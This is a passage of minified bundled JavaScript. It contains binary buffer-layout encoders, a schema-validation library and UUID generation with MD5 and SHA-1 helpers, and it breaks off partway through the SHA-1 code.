An{constructor(t){super(4,t)}decode(t,n=0){return yn(t).readFloatBE(n)}encode(t,n,r=0){return yn(n).writeFloatBE(t,r),4}}Be.FloatBE=CM;class kM extends An{constructor(t){super(8,t)}decode(t,n=0){return yn(t).readDoubleLE(n)}encode(t,n,r=0){return yn(n).writeDoubleLE(t,r),8}}Be.Double=kM;class xM extends An{constructor(t){super(8,t)}decode(t,n=0){return yn(t).readDoubleBE(n)}encode(t,n,r=0){return yn(n).writeDoubleBE(t,r),8}}Be.DoubleBE=xM;class OM extends An{constructor(t,n,r){if(!(t instanceof An))throw new TypeError("elementLayout must be a Layout");if(!(n instanceof oo&&n.isCount()||Number.isInteger(n)&&0<=n))throw new TypeError("count must be non-negative integer or an unsigned integer ExternalLayout");let o=-1;!(n instanceof oo)&&0<t.span&&(o=n*t.span),super(o,r),this.elementLayout=t,this.count=n}getSpan(t,n=0){if(0<=this.span)return this.span;let r=0,o=this.count;if(o instanceof oo&&(o=o.decode(t,n)),0<this.elementLayout.span)r=o*this.elementLayout.span;else{let i=0;for(;i<o;)r+=this.elementLayout.getSpan(t,n+r),++i}return r}decode(t,n=0){const r=[];let o=0,i=this.count;for(i instanceof oo&&(i=i.decode(t,n));o<i;)r.push(this.elementLayout.decode(t,n)),n+=this.elementLayout.getSpan(t,n),o+=1;return r}encode(t,n,r=0){const o=this.elementLayout,i=t.reduce((s,a)=>s+o.encode(a,n,r+s),0);return this.count instanceof oo&&this.count.encode(t.length,n,r),i}}Be.Sequence=OM;class zM extends An{constructor(t,n,r){if(!(Array.isArray(t)&&t.reduce((i,s)=>i&&s instanceof An,!0)))throw new TypeError("fields must be array of Layout instances");typeof n=="boolean"&&r===void 0&&(r=n,n=void 0);for(const i of t)if(0>i.span&&i.property===void 0)throw new Error("fields cannot contain unnamed variable-length layout");let o=-1;try{o=t.reduce((i,s)=>i+s.getSpan(),0)}catch{}super(o,n),this.fields=t,this.decodePrefixes=!!r}getSpan(t,n=0){if(0<=this.span)return this.span;let r=0;try{r=this.fields.reduce((o,i)=>{const s=i.getSpan(t,n);return n+=s,o+s},0)}catch{throw new RangeError("indeterminate span")}return r}decode(t,n=0){hc(t);const r=this.makeDestinationObject();for(const o of this.fields)if(o.property!==void 0&&(r[o.property]=o.decode(t,n)),n+=o.getSpan(t,n),this.decodePrefixes&&t.length===n)break;return r}encode(t,n,r=0){const o=r;let i=0,s=0;for(const a of this.fields){let l=a.span;if(s=0<l?l:0,a.property!==void 0){const u=t[a.property];u!==void 0&&(s=a.encode(u,n,r),0>l&&(l=a.getSpan(n,r)))}i=r,r+=l}return i+s-o}fromArray(t){const n=this.makeDestinationObject();for(const r of this.fields)r.property!==void 0&&0<t.length&&(n[r.property]=t.shift());return n}layoutFor(t){if(typeof t!="string")throw new TypeError("property must be string");for(const n of this.fields)if(n.property===t)return n}offsetOf(t){if(typeof t!="string")throw new TypeError("property must be string");let n=0;for(const r of this.fields){if(r.property===t)return n;0>r.span?n=-1:0<=n&&(n+=r.span)}}}Be.Structure=zM;class Fb{constructor(t){this.property=t}decode(t,n){throw new Error("UnionDiscriminator is abstract")}encode(t,n,r){throw new Error("UnionDiscriminator is abstract")}}Be.UnionDiscriminator=Fb;class yp extends Fb{constructor(t,n){if(!(t instanceof oo&&t.isCount()))throw new TypeError("layout must be an unsigned integer ExternalLayout");super(n||t.property||"variant"),this.layout=t}decode(t,n){return this.layout.decode(t,n)}encode(t,n,r){return this.layout.encode(t,n,r)}}Be.UnionLayoutDiscriminator=yp;class Hb extends An{constructor(t,n,r){let o;if(t instanceof Go||t instanceof ai)o=new yp(new Ub(t));else if(t instanceof oo&&t.isCount())o=new yp(t);else if(t instanceof Fb)o=t;else throw new TypeError("discr must be a UnionDiscriminator or an unsigned integer layout");if(n===void 0&&(n=null),!(n===null||n instanceof An))throw new TypeError("defaultLayout must be null or a Layout");if(n!==null){if(0>n.span)throw new Error("defaultLayout must have constant span");n.property===void 0&&(n=n.replicate("content"))}let i=-1;n&&(i=n.span,0<=i&&(t instanceof Go||t instanceof ai)&&(i+=o.layout.span)),super(i,r),this.discriminator=o,this.usesPrefixDiscriminator=t instanceof Go||t instanceof ai,this.defaultLayout=n,this.registry={};let s=this.defaultGetSourceVariant.bind(this);this.getSourceVariant=function(a){return s(a)},this.configGetSourceVariant=function(a){s=a.bind(this)}}getSpan(t,n=0){if(0<=this.span)return this.span;const r=this.getVariant(t,n);if(!r)throw new Error("unable to determine span for unrecognized variant");return r.getSpan(t,n)}defaultGetSourceVariant(t){if(Object.prototype.hasOwnProperty.call(t,this.discriminator.property)){if(this.defaultLayout&&this.defaultLayout.property&&Object.prototype.hasOwnProperty.call(t,this.defaultLayout.property))return;const n=this.registry[t[this.discriminator.property]];if(n&&(!n.layout||n.property&&Object.prototype.hasOwnProperty.call(t,n.property)))return n}else for(const n in this.registry){const r=this.registry[n];if(r.property&&Object.prototype.hasOwnProperty.call(t,r.property))return r}throw new Error("unable to infer src variant")}decode(t,n=0){let r;const o=this.discriminator,i=o.decode(t,n),s=this.registry[i];if(s===void 0){const a=this.defaultLayout;let l=0;this.usesPrefixDiscriminator&&(l=o.layout.span),r=this.makeDestinationObject(),r[o.property]=i,r[a.property]=a.decode(t,n+l)}else r=s.decode(t,n);return r}encode(t,n,r=0){const o=this.getSourceVariant(t);if(o===void 0){const i=this.discriminator,s=this.defaultLayout;let a=0;return this.usesPrefixDiscriminator&&(a=i.layout.span),i.encode(t[i.property],n,r),a+s.encode(t[s.property],n,r+a)}return o.encode(t,n,r)}addVariant(t,n,r){const o=new KM(this,t,n,r);return this.registry[t]=o,o}getVariant(t,n=0){let r;return t instanceof Uint8Array?r=this.discriminator.decode(t,n):r=t,this.registry[r]}}Be.Union=Hb;class KM extends An{constructor(t,n,r,o){if(!(t instanceof Hb))throw new TypeError("union must be a Union");if(!Number.isInteger(n)||0>n)throw new TypeError("variant must be a (non-negative) integer");if(typeof r=="string"&&o===void 0&&(o=r,r=null),r){if(!(r instanceof An))throw new TypeError("layout must be a Layout");if(t.defaultLayout!==null&&0<=r.span&&r.span>t.defaultLayout.span)throw new Error("variant span exceeds span of containing union");if(typeof o!="string")throw new TypeError("variant must have a String property")}let i=t.span;0>t.span&&(i=r?r.span:0,0<=i&&t.usesPrefixDiscriminator&&(i+=t.discriminator.layout.span)),super(i,o),this.union=t,this.variant=n,this.layout=r||null}getSpan(t,n=0){if(0<=this.span)return this.span;let r=0;this.union.usesPrefixDiscriminator&&(r=this.union.discriminator.layout.span);let o=0;return this.layout&&(o=this.layout.getSpan(t,n+r)),r+o}decode(t,n=0){const r=this.makeDestinationObject();if(this!==this.union.getVariant(t,n))throw new Error("variant mismatch");let o=0;return this.union.usesPrefixDiscriminator&&(o=this.union.discriminator.layout.span),this.layout?r[this.property]=this.layout.decode(t,n+o):this.property?r[this.property]=!0:this.union.usesPrefixDiscriminator&&(r[this.union.discriminator.property]=this.variant),r}encode(t,n,r=0){let o=0;if(this.union.usesPrefixDiscriminator&&(o=this.union.discriminator.layout.span),this.layout&&!Object.prototype.hasOwnProperty.call(t,this.property))throw new TypeError("variant lacks property "+this.property);this.union.discriminator.encode(this.variant,n,r);let i=o;if(this.layout&&(this.layout.encode(t[this.property],n,r+o),i+=this.layout.getSpan(n,r+o),0<=this.union.span&&i>this.union.span))throw new Error("encoded variant overruns containing union");return i}fromArray(t){if(this.layout)return this.layout.fromArray(t)}}Be.VariantLayout=KM;function du(e){return 0>e&&(e+=4294967296),e}class Pb extends An{constructor(t,n,r){if(!(t instanceof Go||t instanceof ai))throw new TypeError("word must be a UInt or UIntBE layout");if(typeof n=="string"&&r===void 0&&(r=n,n=!1),4<t.span)throw new RangeError("word cannot exceed 32 bits");super(t.span,r),this.word=t,this.msb=!!n,this.fields=[];let o=0;this._packedSetValue=function(i){return o=du(i),this},this._packedGetValue=function(){return o}}decode(t,n=0){const r=this.makeDestinationObject(),o=this.word.decode(t,n);this._packedSetValue(o);for(const i of this.fields)i.property!==void 0&&(r[i.property]=i.decode(t));return r}encode(t,n,r=0){const o=this.word.decode(n,r);this._packedSetValue(o);for(const i of this.fields)if(i.property!==void 0){const s=t[i.property];s!==void 0&&i.encode(s)}return this.word.encode(this._packedGetValue(),n,r)}addField(t,n){const r=new Db(this,t,n);return this.fields.push(r),r}addBoolean(t){const n=new RM(this,t);return this.fields.push(n),n}fieldFor(t){if(typeof t!="string")throw new TypeError("property must be string");for(const n of this.fields)if(n.property===t)return n}}Be.BitStructure=Pb;class Db{constructor(t,n,r){if(!(t instanceof Pb))throw new TypeError("container must be a BitStructure");if(!Number.isInteger(n)||0>=n)throw new TypeError("bits must be positive integer");const o=8*t.span,i=t.fields.reduce((s,a)=>s+a.bits,0);if(n+i>o)throw new Error("bits too long for span remainder ("+(o-i)+" of "+o+" remain)");this.container=t,this.bits=n,this.valueMask=(1<<n)-1,n===32&&(this.valueMask=4294967295),this.start=i,this.container.msb&&(this.start=o-i-n),this.wordMask=du(this.valueMask<<this.start),this.property=r}decode(t,n){const r=this.container._packedGetValue();return du(r&this.wordMask)>>>this.start}encode(t){if(typeof t!="number"||!Number.isInteger(t)||t!==du(t&this.valueMask))throw new TypeError(Vb("BitField.encode",this)+" value must be integer not exceeding "+this.valueMask);const n=this.container._packedGetValue(),r=du(t<<this.start);this.container._packedSetValue(du(n&~this.wordMask)|r)}}Be.BitField=Db;let RM=class extends Db{constructor(t,n){super(t,1,n)}decode(t,n){return!!super.decode(t,n)}encode(t){typeof t=="boolean"&&(t=+t),super.encode(t)}};Be.Boolean=RM;let LM=class extends An{constructor(t,n){if(!(t instanceof oo&&t.isCount()||Number.isInteger(t)&&0<=t))throw new TypeError("length must be positive integer or an unsigned integer ExternalLayout");let r=-1;t instanceof oo||(r=t),super(r,n),this.length=t}getSpan(t,n){let r=this.span;return 0>r&&(r=this.length.decode(t,n)),r}decode(t,n=0){let r=this.span;return 0>r&&(r=this.length.decode(t,n)),yn(t).slice(n,n+r)}encode(t,n,r){let o=this.length;if(this.length instanceof oo&&(o=t.length),!(t instanceof Uint8Array&&o===t.length))throw new TypeError(Vb("Blob.encode",this)+" requires (length "+o+") Uint8Array as src");if(r+o>n.length)throw new RangeError("encoding overruns Uint8Array");const i=yn(t);return yn(n).write(i.toString("hex"),r,o,"hex"),this.length instanceof oo&&this.length.encode(o,n,r),o}};Be.Blob=LM;class ZM extends An{constructor(t){super(-1,t)}getSpan(t,n=0){hc(t);let r=n;for(;r<t.length&&t[r]!==0;)r+=1;return 1+r-n}decode(t,n=0){const r=this.getSpan(t,n);return yn(t).slice(n,n+r-1).toString("utf-8")}encode(t,n,r=0){typeof t!="string"&&(t=String(t));const o=Jb.Buffer.from(t,"utf8"),i=o.length;if(r+i>n.length)throw new RangeError("encoding overruns Buffer");const s=yn(n);return o.copy(s,r),s[r+i]=0,i+1}}Be.CString=ZM;class TM extends An{constructor(t,n){if(typeof t=="string"&&n===void 0&&(n=t,t=void 0),t===void 0)t=-1;else if(!Number.isInteger(t))throw new TypeError("maxSpan must be an integer");super(-1,n),this.maxSpan=t}getSpan(t,n=0){return hc(t),t.length-n}decode(t,n=0){const r=this.getSpan(t,n);if(0<=this.maxSpan&&this.maxSpan<r)throw new RangeError("text length exceeds maxSpan");return yn(t).slice(n,n+r).toString("utf-8")}encode(t,n,r=0){typeof t!="string"&&(t=String(t));const o=Jb.Buffer.from(t,"utf8"),i=o.length;if(0<=this.maxSpan&&this.maxSpan<i)throw new RangeError("text length exceeds maxSpan");if(r+i>n.length)throw new RangeError("encoding overruns Buffer");return o.copy(yn(n),r),i}}Be.UTF8=TM;class NM extends An{constructor(t,n){super(0,n),this.value=t}decode(t,n){return this.value}encode(t,n,r){return 0}}Be.Constant=NM;Be.greedy=(e,t)=>new qM(e,t);var hl=Be.offset=(e,t,n)=>new Ub(e,t,n),gn=Be.u8=e=>new Go(1,e),Ko=Be.u16=e=>new Go(2,e);Be.u24=e=>new Go(3,e);var zt=Be.u32=e=>new Go(4,e);Be.u40=e=>new Go(5,e);Be.u48=e=>new Go(6,e);var Ar=Be.nu64=e=>new wM(e);Be.u16be=e=>new ai(2,e);Be.u24be=e=>new ai(3,e);Be.u32be=e=>new ai(4,e);Be.u40be=e=>new ai(5,e);Be.u48be=e=>new ai(6,e);Be.nu64be=e=>new SM(e);Be.s8=e=>new Wl(1,e);Be.s16=e=>new Wl(2,e);Be.s24=e=>new Wl(3,e);Be.s32=e=>new Wl(4,e);Be.s40=e=>new Wl(5,e);Be.s48=e=>new Wl(6,e);var go=Be.ns64=e=>new EM(e);Be.s16be=e=>new pc(2,e);Be.s24be=e=>new pc(3,e);Be.s32be=e=>new pc(4,e);Be.s40be=e=>new pc(5,e);Be.s48be=e=>new pc(6,e);Be.ns64be=e=>new AM(e);Be.f32=e=>new MM(e);Be.f32be=e=>new CM(e);Be.f64=e=>new kM(e);Be.f64be=e=>new xM(e);var Ct=Be.struct=(e,t,n)=>new zM(e,t,n);Be.bits=(e,t,n)=>new Pb(e,t,n);var Wr=Be.seq=(e,t,n)=>new OM(e,t,n);Be.union=(e,t,n)=>new Hb(e,t,n);Be.unionLayoutDiscriminator=(e,t)=>new yp(e,t);var xn=Be.blob=(e,t)=>new LM(e,t);Be.cstr=e=>new ZM(e);Be.utf8=(e,t)=>new TM(e,t);Be.constant=(e,t)=>new NM(e,t);var _d={};Object.defineProperty(_d,"__esModule",{value:!0});function rL(e){{const t=sn.from(e);t.reverse();const n=t.toString("hex");return n.length===0?BigInt(0):BigInt(`0x${n}`)}}var jM=_d.toBigIntLE=rL;function oL(e){{const t=e.toString("hex");return t.length===0?BigInt(0):BigInt(`0x${t}`)}}_d.toBigIntBE=oL;function iL(e,t){{const n=e.toString(16),r=sn.from(n.padStart(t*2,"0").slice(0,t*2),"hex");return r.reverse(),r}}var WM=_d.toBufferLE=iL;function sL(e,t){{const n=e.toString(16);return sn.from(n.padStart(t*2,"0").slice(0,t*2),"hex")}}_d.toBufferBE=sL;class aL extends TypeError{constructor(t,n){let r;const{message:o,...i}=t,{path:s}=t,a=s.length===0?o:"At path: "+s.join(".")+" -- "+o;super(a),Object.assign(this,i),this.name=this.constructor.name,this.failures=()=>{var l;return(l=r)!=null?l:r=[t,...n()]}}}function lL(e){return oa(e)&&typeof e[Symbol.iterator]=="function"}function oa(e){return typeof e=="object"&&e!=null}function ci(e){return typeof e=="string"?JSON.stringify(e):""+e}function uL(e){const{done:t,value:n}=e.next();return t?void 0:n}function cL(e,t,n,r){if(e===!0)return;e===!1?e={}:typeof e=="string"&&(e={message:e});const{path:o,branch:i}=t,{type:s}=n,{refinement:a,message:l="Expected a value of type `"+s+"`"+(a?" with refinement `"+a+"`":"")+", but received: `"+ci(r)+"`"}=e;return{value:r,type:s,refinement:a,key:o[o.length-1],path:o,branch:i,...e,message:l}}function*ow(e,t,n,r){lL(e)||(e=[e]);for(const o of e){const i=cL(o,t,n,r);i&&(yield i)}}function*Xb(e,t,n={}){const{path:r=[],branch:o=[e],coerce:i=!1,mask:s=!1}=n,a={path:r,branch:o};if(i&&(e=t.coercer(e,a),s&&t.type!=="type"&&oa(t.schema)&&oa(e)&&!Array.isArray(e)))for(const u in e)t.schema[u]===void 0&&delete e[u];let l=!0;for(const u of t.validator(e,a))l=!1,yield[u,void 0];for(let[u,c,f]of t.entries(e,a)){const p=Xb(c,f,{path:u===void 0?r:[...r,u],branch:u===void 0?o:[...o,c],coerce:i,mask:s});for(const m of p)m[0]?(l=!1,yield[m[0],void 0]):i&&(c=m[1],u===void 0?e=c:e instanceof Map?e.set(u,c):e instanceof Set?e.add(c):oa(e)&&(e[u]=c))}if(l)for(const u of t.refiner(e,a))l=!1,yield[u,void 0];l&&(yield[void 0,e])}let Vi=class{constructor(t){const{type:n,schema:r,validator:o,refiner:i,coercer:s=l=>l,entries:a=function*(){}}=t;this.type=n,this.schema=r,this.entries=a,this.coercer=s,o?this.validator=(l,u)=>{const c=o(l,u);return ow(c,u,this,l)}:this.validator=()=>[],i?this.refiner=(l,u)=>{const c=i(l,u);return ow(c,u,this,l)}:this.refiner=()=>[]}assert(t){return dL(t,this)}create(t){return lt(t,this)}is(t){return GM(t,this)}mask(t){return fL(t,this)}validate(t,n={}){return $d(t,this,n)}};function dL(e,t){const n=$d(e,t);if(n[0])throw n[0]}function lt(e,t){const n=$d(e,t,{coerce:!0});if(n[0])throw n[0];return n[1]}function fL(e,t){const n=$d(e,t,{coerce:!0,mask:!0});if(n[0])throw n[0];return n[1]}function GM(e,t){return!$d(e,t)[0]}function $d(e,t,n={}){const r=Xb(e,t,n),o=uL(r);return o[0]?[new aL(o[0],function*(){for(const s of r)s[0]&&(yield s[0])}),void 0]:[void 0,o[1]]}function Gl(e,t){return new Vi({type:e,schema:null,validator:t})}function hL(){return Gl("any",()=>!0)}function dt(e){return new Vi({type:"array",schema:e,*entries(t){if(e&&Array.isArray(t))for(const[n,r]of t.entries())yield[n,r,e]},coercer(t){return Array.isArray(t)?t.slice():t},validator(t){return Array.isArray(t)||"Expected an array value, but received: "+ci(t)}})}function ji(){return Gl("boolean",e=>typeof e=="boolean")}function Qb(e){return Gl("instance",t=>t instanceof e||"Expected a `"+e.name+"` instance, but received: "+ci(t))}function Bn(e){const t=ci(e),n=typeof e;return new Vi({type:"literal",schema:n==="string"||n==="number"||n==="boolean"?e:null,validator(r){return r===e||"Expected the literal `"+t+"`, but received: "+ci(r)}})}function pL(){return Gl("never",()=>!1)}function ut(e){return new Vi({...e,validator:(t,n)=>t===null||e.validator(t,n),refiner:(t,n)=>t===null||e.refiner(t,n)})}function je(){return Gl("number",e=>typeof e=="number"&&!isNaN(e)||"Expected a number, but received: "+ci(e))}function Jt(e){return new Vi({...e,validator:(t,n)=>t===void 0||e.validator(t,n),refiner:(t,n)=>t===void 0||e.refiner(t,n)})}function YM(e,t){return new Vi({type:"record",schema:null,*entries(n){if(oa(n))for(const r in n){const o=n[r];yield[r,r,e],yield[r,o,t]}},validator(n){return oa(n)||"Expected an object, but received: "+ci(n)}})}function it(){return Gl("string",e=>typeof e=="string"||"Expected a string, but received: "+ci(e))}function _b(e){const t=pL();return new Vi({type:"tuple",schema:null,*entries(n){if(Array.isArray(n)){const r=Math.max(e.length,n.length);for(let o=0;o<r;o++)yield[o,n[o],e[o]||t]}},validator(n){return Array.isArray(n)||"Expected an array, but received: "+ci(n)}})}function et(e){const t=Object.keys(e);return new Vi({type:"type",schema:e,*entries(n){if(oa(n))for(const r of t)yield[r,n[r],e[r]]},validator(n){return oa(n)||"Expected an object, but received: "+ci(n)}})}function uo(e){const t=e.map(n=>n.type).join(" | ");return new Vi({type:"union",schema:null,validator(n,r){const o=[];for(const i of e){const[...s]=Xb(n,i,r),[a]=s;if(a[0])for(const[l]of s)l&&o.push(l);else return[]}return["Expected the value to satisfy a union of `"+t+"`, but received: "+ci(n),...o]}})}function ef(){return Gl("unknown",()=>!0)}function tf(e,t,n){return new Vi({...e,coercer:(r,o)=>GM(r,t)?e.coercer(n(r,o),o):e.coercer(r,o)})}var zf,mL=new Uint8Array(16);function BM(){if(!zf&&(zf=typeof crypto<"u"&&crypto.getRandomValues&&crypto.getRandomValues.bind(crypto)||typeof msCrypto<"u"&&typeof msCrypto.getRandomValues=="function"&&msCrypto.getRandomValues.bind(msCrypto),!zf))throw new Error("crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported");return zf(mL)}const vL=/^(?:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}|00000000-0000-0000-0000-000000000000)$/i;function mm(e){return typeof e=="string"&&vL.test(e)}var wr=[];for(var wv=0;wv<256;++wv)wr.push((wv+256).toString(16).substr(1));function vm(e){var t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:0,n=(wr[e[t+0]]+wr[e[t+1]]+wr[e[t+2]]+wr[e[t+3]]+"-"+wr[e[t+4]]+wr[e[t+5]]+"-"+wr[e[t+6]]+wr[e[t+7]]+"-"+wr[e[t+8]]+wr[e[t+9]]+"-"+wr[e[t+10]]+wr[e[t+11]]+wr[e[t+12]]+wr[e[t+13]]+wr[e[t+14]]+wr[e[t+15]]).toLowerCase();if(!mm(n))throw TypeError("Stringified UUID is invalid");return n}var iw,Sv,Ev=0,Av=0;function gL(e,t,n){var r=t&&n||0,o=t||new Array(16);e=e||{};var i=e.node||iw,s=e.clockseq!==void 0?e.clockseq:Sv;if(i==null||s==null){var a=e.random||(e.rng||BM)();i==null&&(i=iw=[a[0]|1,a[1],a[2],a[3],a[4],a[5]]),s==null&&(s=Sv=(a[6]<<8|a[7])&16383)}var l=e.msecs!==void 0?e.msecs:Date.now(),u=e.nsecs!==void 0?e.nsecs:Av+1,c=l-Ev+(u-Av)/1e4;if(c<0&&e.clockseq===void 0&&(s=s+1&16383),(c<0||l>Ev)&&e.nsecs===void 0&&(u=0),u>=1e4)throw new Error("uuid.v1(): Can't create more than 10M uuids/sec");Ev=l,Av=u,Sv=s,l+=122192928e5;var f=((l&268435455)*1e4+u)%4294967296;o[r++]=f>>>24&255,o[r++]=f>>>16&255,o[r++]=f>>>8&255,o[r++]=f&255;var p=l/4294967296*1e4&268435455;o[r++]=p>>>8&255,o[r++]=p&255,o[r++]=p>>>24&15|16,o[r++]=p>>>16&255,o[r++]=s>>>8|128,o[r++]=s&255;for(var m=0;m<6;++m)o[r+m]=i[m];return t||vm(o)}function JM(e){if(!mm(e))throw TypeError("Invalid UUID");var t,n=new Uint8Array(16);return n[0]=(t=parseInt(e.slice(0,8),16))>>>24,n[1]=t>>>16&255,n[2]=t>>>8&255,n[3]=t&255,n[4]=(t=parseInt(e.slice(9,13),16))>>>8,n[5]=t&255,n[6]=(t=parseInt(e.slice(14,18),16))>>>8,n[7]=t&255,n[8]=(t=parseInt(e.slice(19,23),16))>>>8,n[9]=t&255,n[10]=(t=parseInt(e.slice(24,36),16))/1099511627776&255,n[11]=t/4294967296&255,n[12]=t>>>24&255,n[13]=t>>>16&255,n[14]=t>>>8&255,n[15]=t&255,n}function yL(e){e=unescape(encodeURIComponent(e));for(var t=[],n=0;n<e.length;++n)t.push(e.charCodeAt(n));return t}var bL="6ba7b810-9dad-11d1-80b4-00c04fd430c8",IL="6ba7b811-9dad-11d1-80b4-00c04fd430c8";function VM(e,t,n){function r(o,i,s,a){if(typeof o=="string"&&(o=yL(o)),typeof i=="string"&&(i=JM(i)),i.length!==16)throw TypeError("Namespace must be array-like (16 iterable integer values, 0-255)");var l=new Uint8Array(16+o.length);if(l.set(i),l.set(o,i.length),l=n(l),l[6]=l[6]&15|t,l[8]=l[8]&63|128,s){a=a||0;for(var u=0;u<16;++u)s[a+u]=l[u];return s}return vm(l)}try{r.name=e}catch{}return r.DNS=bL,r.URL=IL,r}function qL(e){if(typeof e=="string"){var t=unescape(encodeURIComponent(e));e=new Uint8Array(t.length);for(var n=0;n<t.length;++n)e[n]=t.charCodeAt(n)}return wL(SL(EL(e),e.length*8))}function wL(e){for(var t=[],n=e.length*32,r="0123456789abcdef",o=0;o<n;o+=8){var i=e[o>>5]>>>o%32&255,s=parseInt(r.charAt(i>>>4&15)+r.charAt(i&15),16);t.push(s)}return t}function UM(e){return(e+64>>>9<<4)+14+1}function SL(e,t){e[t>>5]|=128<<t%32,e[UM(t)-1]=t;for(var n=1732584193,r=-271733879,o=-1732584194,i=271733878,s=0;s<e.length;s+=16){var a=n,l=r,u=o,c=i;n=zr(n,r,o,i,e[s],7,-680876936),i=zr(i,n,r,o,e[s+1],12,-389564586),o=zr(o,i,n,r,e[s+2],17,606105819),r=zr(r,o,i,n,e[s+3],22,-1044525330),n=zr(n,r,o,i,e[s+4],7,-176418897),i=zr(i,n,r,o,e[s+5],12,1200080426),o=zr(o,i,n,r,e[s+6],17,-1473231341),r=zr(r,o,i,n,e[s+7],22,-45705983),n=zr(n,r,o,i,e[s+8],7,1770035416),i=zr(i,n,r,o,e[s+9],12,-1958414417),o=zr(o,i,n,r,e[s+10],17,-42063),r=zr(r,o,i,n,e[s+11],22,-1990404162),n=zr(n,r,o,i,e[s+12],7,1804603682),i=zr(i,n,r,o,e[s+13],12,-40341101),o=zr(o,i,n,r,e[s+14],17,-1502002290),r=zr(r,o,i,n,e[s+15],22,1236535329),n=Kr(n,r,o,i,e[s+1],5,-165796510),i=Kr(i,n,r,o,e[s+6],9,-1069501632),o=Kr(o,i,n,r,e[s+11],14,643717713),r=Kr(r,o,i,n,e[s],20,-373897302),n=Kr(n,r,o,i,e[s+5],5,-701558691),i=Kr(i,n,r,o,e[s+10],9,38016083),o=Kr(o,i,n,r,e[s+15],14,-660478335),r=Kr(r,o,i,n,e[s+4],20,-405537848),n=Kr(n,r,o,i,e[s+9],5,568446438),i=Kr(i,n,r,o,e[s+14],9,-1019803690),o=Kr(o,i,n,r,e[s+3],14,-187363961),r=Kr(r,o,i,n,e[s+8],20,1163531501),n=Kr(n,r,o,i,e[s+13],5,-1444681467),i=Kr(i,n,r,o,e[s+2],9,-51403784),o=Kr(o,i,n,r,e[s+7],14,1735328473),r=Kr(r,o,i,n,e[s+12],20,-1926607734),n=Rr(n,r,o,i,e[s+5],4,-378558),i=Rr(i,n,r,o,e[s+8],11,-2022574463),o=Rr(o,i,n,r,e[s+11],16,1839030562),r=Rr(r,o,i,n,e[s+14],23,-35309556),n=Rr(n,r,o,i,e[s+1],4,-1530992060),i=Rr(i,n,r,o,e[s+4],11,1272893353),o=Rr(o,i,n,r,e[s+7],16,-155497632),r=Rr(r,o,i,n,e[s+10],23,-1094730640),n=Rr(n,r,o,i,e[s+13],4,681279174),i=Rr(i,n,r,o,e[s],11,-358537222),o=Rr(o,i,n,r,e[s+3],16,-722521979),r=Rr(r,o,i,n,e[s+6],23,76029189),n=Rr(n,r,o,i,e[s+9],4,-640364487),i=Rr(i,n,r,o,e[s+12],11,-421815835),o=Rr(o,i,n,r,e[s+15],16,530742520),r=Rr(r,o,i,n,e[s+2],23,-995338651),n=Lr(n,r,o,i,e[s],6,-198630844),i=Lr(i,n,r,o,e[s+7],10,1126891415),o=Lr(o,i,n,r,e[s+14],15,-1416354905),r=Lr(r,o,i,n,e[s+5],21,-57434055),n=Lr(n,r,o,i,e[s+12],6,1700485571),i=Lr(i,n,r,o,e[s+3],10,-1894986606),o=Lr(o,i,n,r,e[s+10],15,-1051523),r=Lr(r,o,i,n,e[s+1],21,-2054922799),n=Lr(n,r,o,i,e[s+8],6,1873313359),i=Lr(i,n,r,o,e[s+15],10,-30611744),o=Lr(o,i,n,r,e[s+6],15,-1560198380),r=Lr(r,o,i,n,e[s+13],21,1309151649),n=Lr(n,r,o,i,e[s+4],6,-145523070),i=Lr(i,n,r,o,e[s+11],10,-1120210379),o=Lr(o,i,n,r,e[s+2],15,718787259),r=Lr(r,o,i,n,e[s+9],21,-343485551),n=_s(n,a),r=_s(r,l),o=_s(o,u),i=_s(i,c)}return[n,r,o,i]}function EL(e){if(e.length===0)return[];for(var t=e.length*8,n=new Uint32Array(UM(t)),r=0;r<t;r+=8)n[r>>5]|=(e[r/8]&255)<<r%32;return n}function _s(e,t){var n=(e&65535)+(t&65535),r=(e>>16)+(t>>16)+(n>>16);return r<<16|n&65535}function AL(e,t){return e<<t|e>>>32-t}function gm(e,t,n,r,o,i){return _s(AL(_s(_s(t,e),_s(r,i)),o),n)}function zr(e,t,n,r,o,i,s){return gm(t&n|~t&r,e,t,o,i,s)}function Kr(e,t,n,r,o,i,s){return gm(t&r|n&~r,e,t,o,i,s)}function Rr(e,t,n,r,o,i,s){return gm(t^n^r,e,t,o,i,s)}function Lr(e,t,n,r,o,i,s){return gm(n^(t|~r),e,t,o,i,s)}var ML=VM("v3",48,qL);const CL=ML;function kL(e,t,n){e=e||{};var r=e.random||(e.rng||BM)();if(r[6]=r[6]&15|64,r[8]=r[8]&63|128,t){n=n||0;for(var o=0;o<16;++o)t[n+o]=r[o];return t}return vm(r)}function xL(e,t,n,r){switch(e){case 0:return t&n^~t&r;case 1:return t^n^r;case 2:return t&n^t&r^n&r;case 3:return t^n^r}}function Mv(e,t){return e<<t|e>>>32-t}function OL(e){var t=[1518500249,1859775393,2400959708,3395469782],n=[1732584193,4023233417,2562383102,271733878,3285377520];if(typeof e=="string"){var r=unescape(encodeURIComponent(e));e=[];for(var o=0;o<r.length;++o)e.push(r.charCodeAt(o))}else Array.isArray(e)||(e=Array.prototype.slice.call(e));e.push(128);for(var i=e.length/4+2,s=Math.ceil(i/16),a=new Array(s),l=0;l<s;++l){for(var u=new Uint32Array(16),c=0;c<16;++c)u[c]=e[l*64+c*4]<<24|e[l*64+c*4+1]<<16|e[l*64+c*4+2]<<8|e[l*64+c*4+3];a[l]=u}a[s-1][14]=(e.length-1)*8/Math.pow(2,32),a[s-1][14]=Math.floor(a[s-1][14]),a[s-1][15]=(e.length-1)*8&4294967295;for(var f=0;f<s;++f){for(var p=new Uint32Array(80),m=0;m<16;++m)p[m]=a[f][m];for(var g=16;g<80;++g)p[g]=Mv(p[g-3]^p[g-8]^p[g-14]^p[g-16],1);for(var v=n[0],I=n[1],q=n[2],M=n[3],E=n[4],x=0;x<80;++x){var 